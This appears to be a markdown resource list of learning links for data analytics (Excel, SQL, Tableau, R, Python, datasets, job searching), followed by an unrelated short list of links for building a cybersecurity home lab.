* [Using IF with AND, OR, and NOT functions in Excel](https://support.microsoft.com/en-us/office/using-if-with-and-or-and-not-functions-d895f58c-b36c-419e-b1f2-5c193a236d97): This resource combines IF with AND, OR, and NOT functions to create more complex functions. By combining these functions, you can perform your tasks more efficiently and cover more criteria at once.
### More Functions in Excel
I will be honest with you, I copy and pasted the following right from my course I took: <br>
<br>[Keyboard shortcuts in Excel](https://support.microsoft.com/en-us/office/keyboard-shortcuts-in-excel-1798d9d5-842a-42b8-9c99-9b7213f0040f?ui=en-US&rs=en-US&ad=US): Earlier in this list, you were provided with a resource for keyboard shortcuts in Google Sheets. Similarly, this resource provides a list of keyboard shortcuts in Excel that will make performing regular spreadsheet tasks more efficient. This includes keyboard shortcuts for both desktop and mobile versions of Excel, so you can apply them no matter what platform you are working on.
<br>[222 Excel shortcuts](https://exceljet.net/keyboard-shortcuts): A compilation of shortcuts includes links to more detailed explanations about how to use them. This is a great way to quickly reference keyboard shortcuts. The list has been organized by functionality, so you can go directly to the sections that are most useful to you.
<br>[List of spreadsheet functions](https://exceljet.net/excel-functions): This is a comprehensive list of Excel spreadsheet functions with links to more detailed explanations. This is a useful resource to save so that you can reference it often; that way, you’ll have access to functions and examples that you can apply to your work.
<br>[List of spreadsheet formulas](https://exceljet.net/formulas): Similar to the previous resource, this comprehensive list of Excel spreadsheet formulas with links to more detailed explanations and can be saved and referenced any time you need to check out a formula for your analysis.
<br>[Essential Excel Skills for Analyzing Data](https://learntocodewith.me/posts/excel-skills/): This blog post includes more advanced functionalities of some spreadsheet tools that you have previously learned about, like pivot tables and conditional formatting. These skills have been identified as particularly useful for data analysis. Each section includes a how-to video that will take you through the process of using these functions step-by-step, so that you can apply them to your own analysis.
<br>[Advanced Spreadsheet Skills](https://www.slideshare.net/markjhonoxillo/advanced-spreadsheet-skills): Mark Jhon C. Oxillo’s presentation starts with a basic overview of spreadsheets but also includes advanced functions and exercises to help you apply formulas to actual data in Excel.
# Boolean Operators
If you have never heard of [Boolean Operators](https://libguides.mit.edu/c.php?g=175963&p=1158594), I guess you might think about skipping over this section. But! You actually should know about Boolean Operators and what each of them mean if you want to work with data. It is not a hard concept to understand, once it is explained to you.
# SQL :mag_right:
SQL is, as I perceive it, the next most widely needed *thing* when working with data. Without any further ado, here is the free information I have to share:
### Files
Here is a list of all of the files that are either very helpful PDF's, or an informational reading that I thought was so helpful that I just had to save it. To get access to these files, just [click this link](https://anniesanalytics.wixsite.com/annie-nelson/general-9), and then scroll to where it says "#2- SQL Resources" (I cannot add them to this page, wish I could!)
* CONCAT and variations of CONCAT in SQL
* 3 pages of SQL cheatsheets
* Intermediate Guide to SQL
* Temporary Tables
* Writing SQL Subfunctions
* SQL Best Practices
## Practice SQL
You can play fun online games where you get to practice your SQL skills!
[Murder Mystery] (https://mystery.knightlab.com/)
[SQL Island] (https://sql-island.informatik.uni-kl.de/)
## SQL Basics
<br>[What is SQL?](https://www.sqltutorial.org/what-is-sql/ ) Basics.
This site also goes through tutorials on a lot of common SQL functions.
<br>[W3 schools](https://www.w3schools.com/sql/default.asp) has a SQL tutorial which not only provides you with a lot of awesome queries and explanations, but also the chance to try them yourself. You can follow the tutorial in order to learn about SQL from scratch
<br>[This article](https://towardsdatascience.com/sql-cheat-sheet-776f8e3189fa ) covers a lot of the basic functions in SQL, specifically for PostgreSQL. It gives explanations as well as code.
<br>[This is an article](https://www.w3schools.com/sql/sql_ref_keywords.asp) about common keywords used in SQL
<br>[SQL Server functions](https://www.w3schools.com/sql/sql_ref_sqlserver.asp)
## Specific Functions
<br>[Converting (casting) data ](https://cloud.google.com/bigquery/docs/reference/standard-sql/conversion_rules)
<br>[CAST and CONVERT](https://docs.microsoft.com/en-us/sql/t-sql/functions/cast-and-convert-transact-sql?view=sql-server-ver15): SQL Server reference documentation
<br>[MySQL CAST Functions and Operator](https://dev.mysql.com/doc/refman/8.0/en/cast-functions.html)s: MySQL reference documentation
<br>[How to: SQL Type Casting](How to: SQL Type Casting): Blog about type casting that has links to other SQL short guides
[Aliasing in SQL](https://www.w3schools.com/sql/sql_alias.asp) AND check out [this](https://www.sqltutorial.org/sql-alias/)
Column Aliasing: https://documentation.sas.com/doc/en/pgmsascdc/9.4_3.5/sqlproc/p0aymxwsvbt5wcn1lncugwjtf758.htm
### JOINS
Joins are a tricky one. Kenzie @SQL.Pal [did a whole (helpful) series](https://www.tiktok.com/@sql.pal/video/7067308120577461550?is_from_webapp=1&sender_device=pc&web_id6937119035180418565) about them if you want to see it in video form.
* [SQL JOINs](https://www.w3schools.com/sql/sql_join.asp): This is a good basic explanation of JOINs with examples. If you need a quick reminder of what the different JOINs do, this is a great resource to bookmark and come back to later.
* [Database JOINs](https://www.essentialsql.com/introduction-database-joins/) - Introduction to JOIN Types and Concepts: This is a really thorough introduction to JOINs. Not only does this article explain what JOINs are and how to use them, but it also explains the various scenarios in more detail of when and why you would use the different JOINs. This is a great resource if you are interested in learning more about the logic behind JOINing.
* [SQL JOIN](https://dataschool.com/how-to-teach-people-sql/sql-join-types-explained-visually/) Types Explained in Visuals: This resource has a visual representation of the different JOINs. This is a really useful way to think about JOINs if you are a visual learner, and it can be a really useful way to remember the different JOINs.
* [SQL JOINs](https://towardsdatascience.com/sql-join-8212e3eb9fde): Bringing Data Together One Join at a Time: Not only does this resource have a detailed explanation of JOINs with examples, but it also provides example data that you can use to follow along with their step-by-step guide. This is a useful way to practice JOINs with some real data.
* [SQL JOIN](https://www.dofactory.com/sql/join): This is another resource that provides a clear explanation of JOINs and uses examples to demonstrate how they work. The examples also combine JOINs with aliasing. This is a great opportunity to see how JOINs can be combined with other SQL concepts that you have been learning about in this course.
# Problem Solving
This goes for SQL and all other things within the data analytics space:
<br>Can’t get your code to work? Wondering “if….”? [Try Stack OverFlow](https://stackoverflow.com/). *The* spot for problem solving.
# Tableau/Data Visualization :chart_with_upwards_trend:
It feels like it is totally switching gears when you suddenly start talking about visualizations. It really threw me off to go from "Ok, so the comma has to go HERE" to "What colors should I make the bars in this chart?".
<br> So far, I only have a couple of text files/decision trees that I think are really helpful and want to share with you about data visualizations/Tableau. [Click here](https://anniesanalytics.wixsite.com/annie-nelson/general-9) to go to my website where you can download these files (for free, of course, no weird software downloads or anything, I just can't add them to my page here easily). Scroll to "#3- Visualization Files"
## Tableau Basics
[My Tableau CheatSheet](https://www.linkedin.com/feed/update/urn:li:activity:6950033793013469184/): I took a [Maven Analytics Course](https://www.mavenanalytics.io/course/intro-tableau-desktop) that I loved, and it gave me ALL the basics I could possibly need to know about Tableau. I made a cheatsheet of all of my notes of what I learned in the course.
[This video](https://public.tableau.com/en-us/s/resources) is a great starting place. It is divided into sections so you can skip to what you need if you want.
<br>[Explainations](https://help.tableau.com/current/pro/desktop/en-us/actions_filter.htm ) of how/why to use filters.
### Examples
Here are some beautiful examples of all the ways you could go with your visualizations (called Vizzes). I know, I'm overwhelmed too.
* [Are we alone?](https://public.tableau.com/app/profile/kimly.scott/viz/Arewealone/AreWeAlone)
* [Viz of the Day](https://public.tableau.com/app/discover/viz-of-the-day )
* [Who’s talking in popular films? ](https://public.tableau.com/app/profile/bo.mccready8742/viz/WordDataWorking/WhoIsTalking)
* [2020 best vizzes ](https://visme.co/blog/best-data-visualizations/)
* [Information is beautiful](https://informationisbeautiful.net/wdvp/gallery-2019/)
* [Data Studio good projects gallery ](https://datastudio.google.com/gallery?category=visualization)
* [I have cancer ](https://www.billyost.net/)
## Planning
One thing that can be intimidating when you are new to this stuff, is trying to decide which kind of graph or chart you should use to best visualize your data. Here are some resources that can help you along the planning stages.
<br>[This Explaination](https://duelingdata.blogspot.com/2019/01/5-types-of-dashboards.html) about different dashboard types.
<br>[This ebook](https://s3.amazonaws.com/looker-elearning-resources/Requirements+Gathering+Worksheet.pdf ) provides you with questions that will help you when looking at your data and trying to figure out your relevant stakeholders and their needs- which guides how you design your dashboard
<br>How should I visualize my data? [This might help](https://datavizcatalogue.com/#google_vignette )- it shows examples of each and helps you make decisions
<br>[Which chart or graph is right for you](https://www.tableau.com/sites/default/files/media/which_chart_v6_final_0.pdf)?
<br>[Ultimate cheat sheet on Tableau charts ](https://towardsdatascience.com/the-ultimate-cheat-sheet-on-tableau-charts-642bca94dde5)
<br>[How to choose which way to visualize your data](https://public.tableau.com/app/profile/andy.kriebel/viz/VisualVocabulary/VisualVocabulary)
## How to Create Different Charts
I am not going to lie, every time I use Tableau so far, it is a lot of me just clicking buttons and moving things around, hoping it will do what I want. Be smarter than me. Read these resources. They're free.
* Highlight tables appear like tables with conditional formatting. [Review the steps](https://help.tableau.com/current/pro/desktop/en-us/buildexamples_highlight.htm) to build a highlight table.
* [Heat maps](https://help.tableau.com/current/pro/desktop/en-us/buildexamples_highlight.htm) show intensity or concentrations in the data.
* [Density maps](https://help.tableau.com/current/pro/desktop/en-us/maps_howto_heatmap.htm) show concentrations (like a population density map).
* [Gantt charts](https://help.tableau.com/current/pro/desktop/en-us/buildexamples_gantt.htm) show the duration of events or activities on a timeline.
* [Symbol maps](https://interworks.com/blog/ccapitula/2014/08/18/tableau-essentials-chart-types-symbol-map/) display a mark over a given longitude and latitude. Learn more from this example of a symbol map.
* Filled maps are maps with areas colored based on a measurement or dimension. [Explore an example](https://interworks.com/blog/ccapitula/2014/09/23/tableau-essentials-chart-types-filled-map/) of a filled map.
* Circle views show comparative strength in data. [Learn more from this example](https://interworks.com/blog/ccapitula/2014/10/17/tableau-essentials-chart-types-circle-view/) of a circle view.
* [Box plots](https://help.tableau.com/current/pro/desktop/en-us/buildexamples_boxplot.htm) also known as box-and whiskers charts show the distribution of values along a chart axis.
* [Bullet graphs](https://help.tableau.com/current/pro/desktop/en-us/qs_bullet_graphs.htm) compare a primary measure with another and can be used instead of dial gauge charts.
* [Packed bubble charts](https://help.tableau.com/current/pro/desktop/en-us/buildexamples_bubbles.htm) display data in clustered circles.
### Readings about visualizations
[The beauty of data visualization](https://www.ted.com/talks/david_mccandless_the_beauty_of_data_visualization?language=en#t-150183): In this video, David McCandless explains the need for design to not just be beautiful, but for it to be meaningful as well. Data visualization must be able to balance function and form for it to be relevant to your audience.
<br>[‘The McCandless Method’ of data presentation](https://artscience.blog/home/the-mccandless-method-of-data-presentation): At first glance, this blog appears to be written by a David McCandless fan, and it is. However, it contains very useful information and provides an in-depth look at the 5-step process that McCandless uses to present his data.
<br>[Information is beautiful](https://informationisbeautiful.net/): Founded by McCandless himself, this site serves as a hub of sample visualizations that make use of the McCandless method. Explore data from the news, science, the economy, and so much more and learn how to make visual decisions based on facts from all kinds of sources.
<br>[Beautiful daily news](https://informationisbeautiful.net/beautifulnews/): In this McCandless collection, explore uplifting trends and statistics that are beautifully visualized for your creative enjoyment. A new chart is released every day so be sure to visit often to absorb the amazing things happening all over the world.
<br>[The Wall Street Journal Guide to Information Graphics](https://www.amazon.com/Street-Journal-Guide-Information-Graphics/dp/0393072959): The Dos and Don'ts of Presenting Data, Facts, and Figures: This is a comprehensive guide to data visualization, including chapters on basic data visualization principles and how to create useful data visualizations even when you find yourself in a tricky situation. This is a useful book to add to your data visualization library, and you can reference it over and over again.
<br><br>[This is an entire blog dedicated to data visualizaiton](https://www.tableau.com/learn/articles/best-data-visualization-blogs )
# Python :snake:
I haven't learned Python yet, so I don't have much for you. But, I will add more when I do learn about it! Besides the courses I linked you to above, all I have to add is [this tutorial](https://www.kaggle.com/kanncaa1/data-sciencetutorial-for-beginners ) for beginners.
<br><br> I also have some information about R vs Python.
<br>[R versus Python](https://medium.com/analytics-and-data/r-vs-python-a-comprehensive-guide-for-data-professionals-321e8dead598), a comprehensive guide for data professionals: This article is written by a data professional with extensive experience using both languages and provides a detailed comparison.
<br>[R versus Python](https://www.dataquest.io/blog/python-vs-r/), an objective comparison: This article provides a comparison of the languages using examples of code use.
<br>[R versus Python](https://blog.rstudio.com/2019/12/17/r-vs-python-what-s-the-best-for-language-for-data-science/): What’s the best language for data science?: This blog article provides RStudio’s perspective on the R vs. Python debate.
# R :abc:
R is a little more niche than these others- I would say do not start with R! But, look into jobs you may want. If you see R listed consistently, I hear it is commonly used in research (which the health field does a lot of), then here's some free stuff!
## Files
First of all, I have actually a lot of files for you about R. They range from several long, informative readings which I still refer back to, to cheatsheets. [You can find them here](https://anniesanalytics.wixsite.com/annie-nelson/general-9). Scroll to "#5- R Files"
* Output formats available in Markdown (and how-to)
* RMarkdown Cheatsheet
* ggplot
* Common problems when Visualizing in R
* R vocab
* Operators (this is a long one)
* Keeping your code readable
* Vectors dates and times (this is a long one)
* Vectors and Lists in R
* Ways to learn about programming
* Juptyr Notebooks
* R Functions Learned in the Google Course (with examples)
* Creating a new R MarkDown File Actity (hands on instructions)
## The Basics
### How to
[This is a guide](https://rstudio.cloud/learn/primers/3 ) by R Studio on how to do basic things. They provide code and explanations right in this guide which is separated into different actions.
<br> [Getting Started in R](https://www.kaggle.com/rtatman/getting-started-in-r-first-steps): First steps- a very informative tutorial!
<br>[Advantages of RStudio](https://www.theanalysisfactor.com/the-advantages-of-rstudio/ )- why would I use R?
<br>[Another resource](https://lgatto.github.io/2017_11_09_Rcourse_Jena/before-we-start.html ) on “Why R” for data analysis
<br>[Data transformation](https://r4ds.had.co.nz/transform.html ) (and cleaning)
## Specific Functions in R
* [gganimate information](https://www.kaggle.com/mrisdal/gganimate)
* [Writing Hamilton lyrics with tensorflow ](https://www.kaggle.com/anasofiauzsoy/writing-hamilton-lyrics-with-tensorflow-r)
* [Dive into dpylr](https://www.kaggle.com/jessemostipak/dive-into-dplyr-tutorial-1 )
* [Data import in R](https://r4ds.had.co.nz/data-import.html )
* [Readxl](https://readxl.tidyverse.org/ )
* [R datasets package for practicing in R ](https://stat.ethz.ch/R-manual/R-devel/library/datasets/html/00Index.html)
* [Ggplot2](https://ggplot2.tidyverse.org/)
* * [and more on visualizing ](https://datacarpentry.org/dc_zurich/R-ecology/05-visualisation-ggplot2.html)
* [Putting it all together: ggplot and dpylr ](https://rladiessydney.org/courses/ryouwithme/03-vizwhiz-1/#1-4-putting-it-all-together-dplyr-ggplot)
* [What is a Tibble](https://tibble.tidyverse.org/), and how to use one
* [Aesthetics of a plot ](https://www.rdocumentation.org/packages/ggplot2/versions/3.3.3/topics/aes)
* [Aesthetics Explained](http://statseducation.com/Introduction-to-R/modules/graphics/aesthetics/)
* [Save a plot](https://www.datanovia.com/en/blog/how-to-save-a-ggplot/)
* [More save a plot info ](https://www.datamentor.io/r-programming/saving-plot/)
<br>Pivoting wide/long
* [Pivoting](https://tidyr.tidyverse.org/articles/pivot.html): Consider this a starting point for tidying data through wide and long conversions. This web page is taken directly from tidyr package information at [tidyverse.org](https://www.tidyverse.org/). It explores the components of the pivot_longer and pivot_wider functions using specific details, examples, and definitions.
* [CleanItUp 5: R-Ladies Sydney](https://rladiessydney.org/courses/ryouwithme/02-cleanitup-5/): Wide to Long to Wide to…PIVOT: This resource gives you additional details about the pivot_longer and pivot_wider functions. The examples provided use interesting datasets to illustrate how to convert data from wide to long and back to wide.
* [Plotting multiple variables](https://scc.ms.unimelb.edu.au/resources-list/simple-r-scripts-for-analysis/r-scripts): This resource explains how to visualize wide and long data, with ggplot2 to help tidy it. The focus is on using pivot_longer to restructure data and make similar plots of a number of variables at once.
## R Markdown
[How to use RMarkdown](https://rmarkdown.rstudio.com/lesson-1.html )
<br>[Reference Guide ](https://www.rstudio.com/wp-content/uploads/2015/03/rmarkdown-reference.pdf?_ga=2.49295910.1034302809.1602760608-739985330.1601281773)
<br>[Cheat Sheet]( https://rmarkdown.rstudio.com/lesson-15.html )
<br>[R Markdown, the Definitive Guide](https://bookdown.org/yihui/rmarkdown/)
## Annotating in R
[Create an annotation layer](https://ggplot2.tidyverse.org/reference/annotate.html): This guide explains how to add an annotation layer with ggplot2. It includes sample code and data visualizations with annotations created in ggplot2.
[How to annotate a plot in ggplot2](https://www.r-graph-gallery.com/233-add-annotations-on-ggplot2-chart.html): This resource includes explanations about how to add different kinds of annotations to your ggplot2 plots, and is a great reference if you need to quickly look up a specific kind of annotation.
[Annotations](Annotations): Chapter eight of the online ggplot2 textbook is focused entirely on annotations. It provides in-depth explanations of the different types of annotations, how they are used, and detailed examples.
[How to annotate a plot](How to annotate a plot): This R-Bloggers article includes explanations about how to annotate plots in ggplot2. It starts with basic concepts and covers more complicated information the further on you read.
[Text Annotations](Text Annotations): This resource focuses specifically on adding text annotations and labels to ggplot2 visualizations.
### Find a community or Get Help With R!
[RStudio](https://rstudio.com/): The best place to find help with R is in R itself! You can input ‘?’ or the help() command to search in R. You can also open the Help pane to find more R resources.
<br>[RStudio Blog](https://blog.rstudio.com/): RStudio’s blog is a great place to find information about RStudio, including company news. You can read the most recent [featured posts](https://blog.rstudio.com/categories/featured/) or use the search bar and the list of categories on the left side of the page to explore specific topics you might find interesting or to search for a specific post.
<br>[Stack Overflow](Stack Overflow): The Stack Overflow blog posts opinions and advice from other coders. This is a great place to stay in touch with conversations happening in the community.
<br>[R-Bloggers](https://www.r-bloggers.com/): The R-Bloggers blog has useful tutorials and news articles posted by other R users in the community.
<br>[R-Bloggers' tutorials for learning R](https://www.r-bloggers.com/2015/12/how-to-learn-r-2/#h.y5b98o9o2h1r): This blog post from R-Bloggers compiles some basic R tutorials and also links to more advanced guides.
### Cool use of R
[This](https://www.kaggle.com/jessemostipak/notebooks) is cool to look at if you are interested in R.
# General Cheatsheets for Data Analytics/Science
[100+ Data Science, Machine Learning, AI, & Deep Learning Cheet Sheet PDF's ](https://www.theinsaneapp.com/2020/12/machine-learning-and-data-science-cheat-sheets-pdf.html?utm_content=198825352&utm_medium=social&utm_source=linkedin&hss_channel=lcp-3740012)
[The Complete Collection of Data Science Cheat Sheets – Part 1](https://www.kdnuggets.com/2022/02/complete-collection-data-science-cheat-sheets-part-1.html?fbclid=IwAR2ci6JK5NLR9NPVpDo69a1upriSx8nOas3xfgzE0jJMEr_rYvUpR1LSZpc)
# Resources For Building a Portfolio and Job Searching :moneybag:
### How to get from Skilled, to Hired
The biggest surprise to me along this journey was that the hardest part, was job searching. Learning the tools was fun and really not that hard. But then when it came to all of the things I needed to do- such as figuring out how to build a portfolio, updating my resume, networking on LinkedIn.... figuring out how to do all of that was HARD and not what I signed up for! It totally burned me out. Towards the end of the process I found [this course](https://www.mavenanalytics.io/course/launching-your-data-career) by Maven Analytics that I WISH I had found sooner. I took it to check it out and even after a month and a half of job searching and many edits, I made some adjustments to my resume and process. I 100% recommend it.
### Videos With Data Higher-Up's
[Portfolio and Resume Analysis with Data Science Hiring Managers](https://www.youtube.com/watch?v=cBbYhhH399c&list=PLqFaTIg4myu-npFrYu6cO7h7AI6bkcOlL&index=10 ): A video on Youtube with hiring managers about the things that you need to be including in your portfolio and resume.
<br>[Kaggle Career Con](https://www.youtube.com/playlist?list=PLqFaTIg4myu-npFrYu6cO7h7AI6bkcOlL)- TONS of good info
### Further Helpful Information
[StrataScratch](https://www.stratascratch.com/): StrataScratch is a data science interview platform that has over 900+ real interview questions from your favorite companies. New interview questions are released every month and cover SQL and python coding, statistics, probability, modeling, product sense, and system design.
<br>[An insider blog about interviewing and getting hired as a new data professional](https://data-columns.hightouch.io/first-60-days-weeks-1-2/)
<br>[How to build a compelling data science portfolio and resume](https://www.youtube.com/watch?v=xrhPjE7wHas&list=PLqFaTIg4myu-dNobDHQZPrD2wH27PthCG): A hiring manager from Quora reviews actual resumes from data science candidates and gives candid feedback on areas of improvement. Learn what to include and omit from your resume and portfolio as well as formatting tips. This offers a great firsthand look into what hiring managers are seeking when reviewing your resume and portfolio.
<br>[Overview of the Data Science Interview Process](https://www.youtube.com/watch?v=X6orAXDIrds&list=PLqFaTIg4myu-dNobDHQZPrD2wH27PthCG&index=5): Hiring managers at Google discuss typical data science interviews, including the soft and hard skills you will want to prioritize. You will get a better sense of the interview process from both sides, and better prepare yourself for what to expect when interviewing for a data science role.
<br>[Live Breakdown of Common Data Science Interview Questions](https://www.youtube.com/watch?v=aXUsrKPTBvY&list=PLqFaTIg4myu-dNobDHQZPrD2wH27PthCG&index=6): Watch a mock interview to see how a Kaggle data scientist answers questions during a data science interview. The video also includes live coding! This video is great preparation for some of the most commonly asked data science interview questions.
<br>[Am I a Good Fit](https://www.youtube.com/watch?v=0W0Zrc-m5r8&list=PLqFaTIg4myu-dNobDHQZPrD2wH27PthCG&index=2)? Identifying Your Best Data Science Job Opportunities: Ever wonder where you will fit in for your future career? This chat with Jessica Kirkpatrick, an intelligence manager, gives you a great breakdown of the different types of categories within the data science job market, the different types of job opportunities you may notice, and how you can frame previous work and skills from another career to fit into the data science job market.
<br>[Real Stories from a Panel of Successful Career Switchers](https://www.youtube.com/watch?v=iP0Fxg4oqUQ&list=PLqFaTIg4myu-dNobDHQZPrD2wH27PthCG&index=8): Are you switching careers? Awesome! Learn from people who were in the same position as you and successfully switched their careers into data science. This panel discusses the different experiences in their careers and life that shifted them into the data science field.
<br>[4 Case Study Questions for Interviewing Data Analysts at a Startup](https://www.holistics.io/blog/startup-data-analyst-interview-case-studies/)
## Where to Find Data to Practice With
Open Data! Here are some places to find real data that you can get your hands on to practice with.
* [Maven Analytics Data Playground](https://www.mavenanalytics.io/data-playground): If you take nothing else out of this guide, take this. These datasets are specifically curated for beginner data analysts to build their portfolio.
* [Tidy Tuesday](https://github.com/rfordatascience/tidytuesday/tree/master/data/2019)
* [Google cloud](https://cloud.google.com/solutions/datasets)
* [Google Research Datasets](https://datasetsearch.research.google.com/)
* [Kaggle](https://www.kaggle.com/datasets)
* [Big Query](https://cloud.google.com/bigquery/public-data)
* [Climate Data](https://www.climate.gov/maps-data/all?listingMain=datasetgallery)
* [Climate/Weather](https://www.ncei.noaa.gov/weather-climate-links )
* [FiveThirtyEight's Data Behind Their Stories](https://data.fivethirtyeight.com/)
* [BuzzFeed New's Datasets](https://github.com/BuzzFeedNews/everything)
Public health datasets
<br>[Global Health Observatory data](https://www.who.int/data/collections): You can search for datasets from this page or explore featured data collections from the World Health Organization.
<br>[The Cancer Imaging Archive (TCIA) dataset](https://cloud.google.com/healthcare/docs/resources/public-datasets/tcia): Just like the earlier dataset, this data is hosted by the Google Cloud Public Datasets and can be uploaded to BigQuery.
<br>[1000 Genomes](https://cloud.google.com/life-sciences/docs/resources/public-datasets/1000-genomes): This is another dataset from the Google Cloud Public resources that can be uploaded to BigQuery.
<br><br>Public climate datasets
<br>[National Climatic Data Center](https://www.ncdc.noaa.gov/data-access/quick-links): The NCDC Quick Links page has a selection of datasets you can explore.
<br>[NOAA Public Dataset Gallery](https://www.climate.gov/maps-data/datasets): The NOAA Public Dataset Gallery contains a searchable collection of public datasets.
<br><br>Public social-political datasets
<br>[UNICEF State of the World’s Children](https://data.unicef.org/resources/dataset/sowc-2019-statistical-tables/): This dataset from UNICEF includes a collection of tables that can be downloaded.
<br>[CPS Labor Force Statistics](https://www.bls.gov/cps/tables.htm): This page contains links to several available datasets that you can explore.
<br>[The Stanford Open Policing Project](https://openpolicing.stanford.edu/): This dataset can be downloaded as a .CSV file for your own use.
## Pro Bono
Want to do some good while practicing your skills? Here's your chance:
* [Datakind](https://www.datakind.org/)
* [Data For Good](https://www.sas.com/en_us/data-for-good.html)
* [Statistics Without Borders](https://www.statisticswithoutborders.org/)
* [Omdena](https://omdena.com/)
* [Fruit Punch AI](https://fruitpunch.ai/)
* [Catch A Fire](https://www.catchafire.org/)
# Internet Resources for Learning More about Data and Being a Data Professional :computer:
## Social Media :iphone:
### Tik Tok Pages
I follow all of these creators. I like their videos, and watch them, and share them- because I know that every creator who is just putting themselves out there on the internet for free to help people deserves engagement from people who enjoy their content :relieved:
<br>[Data Storyteller](https://www.tiktok.com/@data_storyteller?lang=en) is my favorite Tik Tok page for analytics at the moment. She is a data scientist who is in product analytics, and she broke herself into tech a while ago from marketing. She shares so much great information about data analytics and breaking into data analytics.
<br>[Maven Analytics](https://www.tiktok.com/@mavenanalytics?lang=en): Maven is a close second for my favorite Tik Tok related to analytics, and my favorite course platform. They are consistently putting out incredibly informative videos about exactly how to break into data analytics.
<br> @sql.pal: Kenzie is another creator in the space of data analytics who are here to help and spread good vibes. She consistently puts out content about using and learning SQL, including an entire series about how to do JOINs. She is a sweet and positive creator, and she even hopped on to help moderate my Discord with me right away when I started out and has contributed some helpful things in different channels.
<br> @zero2sudo: I just discovered his page recently and I love it. He is in software engineering, so not quite data analytics. However, he gives a lot of good tech tips in general on his page- and he has a whole playlist (free) on learning Python. As soon as I commented on one of his posts trying to chat with him he followed me and messaged me, and has been very friendly and helpful since then. If you have any troubles learning Python or questions in general, or just want to have people in your feed who are not only killing it in tech but also lifting while they climb, go check his page out.
<br> @lucaswonderley: I only discovered him a day ago, but his bio is "Daily software development content". He seems to have interesting stuff on Python, so if you want to learn that, check him out.
<br>@python.chick : Has a lot of content about getting into data science, learning Python, and what it's like to be in the field. She seems brilliant to me.
<br> @charlotte_chz : Charlotte was working as a data analyst for several years and ended up making her way up to a very impressive salary. A few months after starting her Tik Tok this winter, she left her job to open her own business about breaking into tech, and become a full time bootcamp instructor for people who want to take a paid bootcamp to break into data analytics. She talks about transitioning into the field, and her bootcamp.
### YouTube
I have not taken/ watched any of these courses myself so I cannot compare them, but I can say they have been suggested to me by my followers! There are also tons and tons more videos on YouTube that I did not mention here.
[Learn SQL for beginners - complete course](https://www.youtube.com/watch?v=rxr0s7RmJcs)
<br> [SQL Tutorial - Full Database Course for Beginners](https://youtu.be/HXV3zeQKqGY)
<br> [python for everyone chuck severance](https://www.youtube.com/watch?v=8DvywoWv6fI)
<br>
<br> [Alex the Analyst](https://www.youtube.com/channel/UC7cs8q-gJRlGwj4A8OmCmXg): If you want to get into Data Analytics, definitely check out his page! He is so knowledgeable and helpful, and he taught himself! I have loved his videos and could not pick just one to suggest.
# Books about Working With Data :closed_book:
These are books that have been suggested to me:
* [Storytelling with data](https://www.storytellingwithdata.com/books): This book was suggested to me by someone who said that it was immensely helpful to them in learning how to use Tableau and create professional looking visualizations. It apparently even comes with practice examples where you can work on the skills you are learning. It's $44 new, but I found it for about $25 online used (I did not buy it)
* [Understanding variation- the key to managing chaos](https://www.amazon.com/Understanding-Variation-Key-Managing-Chaos/dp/0945320531/ref=asc_df_0945320531/?tag=hyprod-20&linkCode=df0&hvadid=312243616995&hvpos=&hvnetw=g&hvrand=10157928750189271098&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9003619&hvtargid=pla-464534775964&psc=1): People on Amazon love this book. One review "This book is well written with great graphics (tables and charts) that illustrate main ideas and examples. It is moderate to difficult subject matter covered in such a way that makes for an easy read with necessary information to know for all decision-making professionals within an organization. The author provides real life examples where companies have analyzed data, completely missing or misinterpreting the clear signals the data was displaying causing the company unnecessary costs. Likewise, the author does a superb job at highlighting why behavior control charts are a mandatory and useful tool when analyzing data used for strategic decision-making. What is a behavior control chart you say? I recommend that you read this book". It is $47 but I found it for $8 used.
* [Automate the Boring Stuff](https://automatetheboringstuff.com/): Free! Online. "In Automate the Boring Stuff with Python, you'll learn how to use Python to write programs that do in minutes what would take you hours to do by hand - no prior programming experience required". It is intriguing to me, and since it is free.99 I do think I will check it out at some point! I am interested in this idea of automating. I am definitely the type of person who goes "Ok, but how could I do that better?"
|
# HomeLabResources
List of resources for buiding a home lab
Shout out to Omar Santos (@santosomar) who has 1000s of resources here
- https://github.com/The-Art-of-Hacking/h4cker
Another great collection of tools and such
- https://github.com/fabacab/awesome-cybersecurity-blueteam
## Blogs and Videos that walk through setting up labs
Pay what you want book
Building Virtual Machine SECOND EDITION! by Tony Robinson
Learn everything there is to know about building and maintaining your own home or workplace virtual lab environment on the most popular hypervisors today!
https://leanpub.com/avatar2
Great run through of building a lab influenced by Tony above. Lots of links and suggestions and lessons learned.
https://www.netsecfocus.com/home/lab/2020/09/21/Tjnulls_guide_to_building_a_Home_Lab.html
[How to Build a Home Lab](https://www.youtube.com/watch?v=_Ih_wjHafrM)
Black Hills Information Security webcast
[Blog from Black Hills instructions and information for building a lab environment](https://www.infosec.com/how-to-deploy-windows-optics-commands-downloads-instructions-and-screenshots/)
[How to Build a Cloud Hacking Lab](https://youtu.be/4s_3oNwqImo) by [@dafthack](https://twitter.com/dafthack)
SANS webcast: [Building an Enterprise Grade Home Lab](https://youtu.be/jnotvkoUF9U)
SANS webcast: [Extending Your Home Lab to include Cloud](https://youtu.be/j69DRB4WGeY)
SANS webcast: [Building Your Own Super Duper Home Lab](https://youtu.be/uzqwoufhwyk)
SANS webcast: [Building an Azure Pentest Lab for Red Teams](https://www.sans.org/webcasts/sans-workshop-building-azure-pentest-lab-red-teams/)
HAK5 video: [Building a Home Lab Virtual Server Quick and Dirty - Hak5 1819](https://youtu.be/9SpQ1fRQAto)
Videos by Tyrone E. Wilson
[Building an Effective Cybersecurity Learning Environment](https://www.youtube.com/watch?v=ZYAgyZ7RZm8)
[Hands-On Learning: How and Why You Should Build a Home Lab](https://www.youtube.com/watch?v=CL2Ng191KQE)
Great instructions for building ELK and Wazuh home lab:
https://github.com/watsoninfosec/ELK-SIEM
Justin Henderson, the author of SANS SEC555, SEC530 and other courses is doing a series on [building a home lab](https://youtube.com/playlist?list=PLIQlcXRut9IPF8cJSSf0-BsoFy_1SOGYQ)
A guide on building a DIY SIEM at home by James Smith @DFIRmadness
https://dfirmadness.com/building-a-siem-at-home/
Here is the beginning of a [series of blogs](https://facyber.me/posts/blue-team-lab-guide-part-1/) for building a Blue Team home lab
Another set of blogs for building a home lab. This one is from Red Siege and will be more offensive focused:
- Part 1: https://redsiege.com/blog/2022/06/simpledomainp1/
- Part 2: https://redsiege.com/blog/2022/06/simpledomainp2/
- Part 3: https://redsiege.com/blog/2022/06/simpledomainp3/
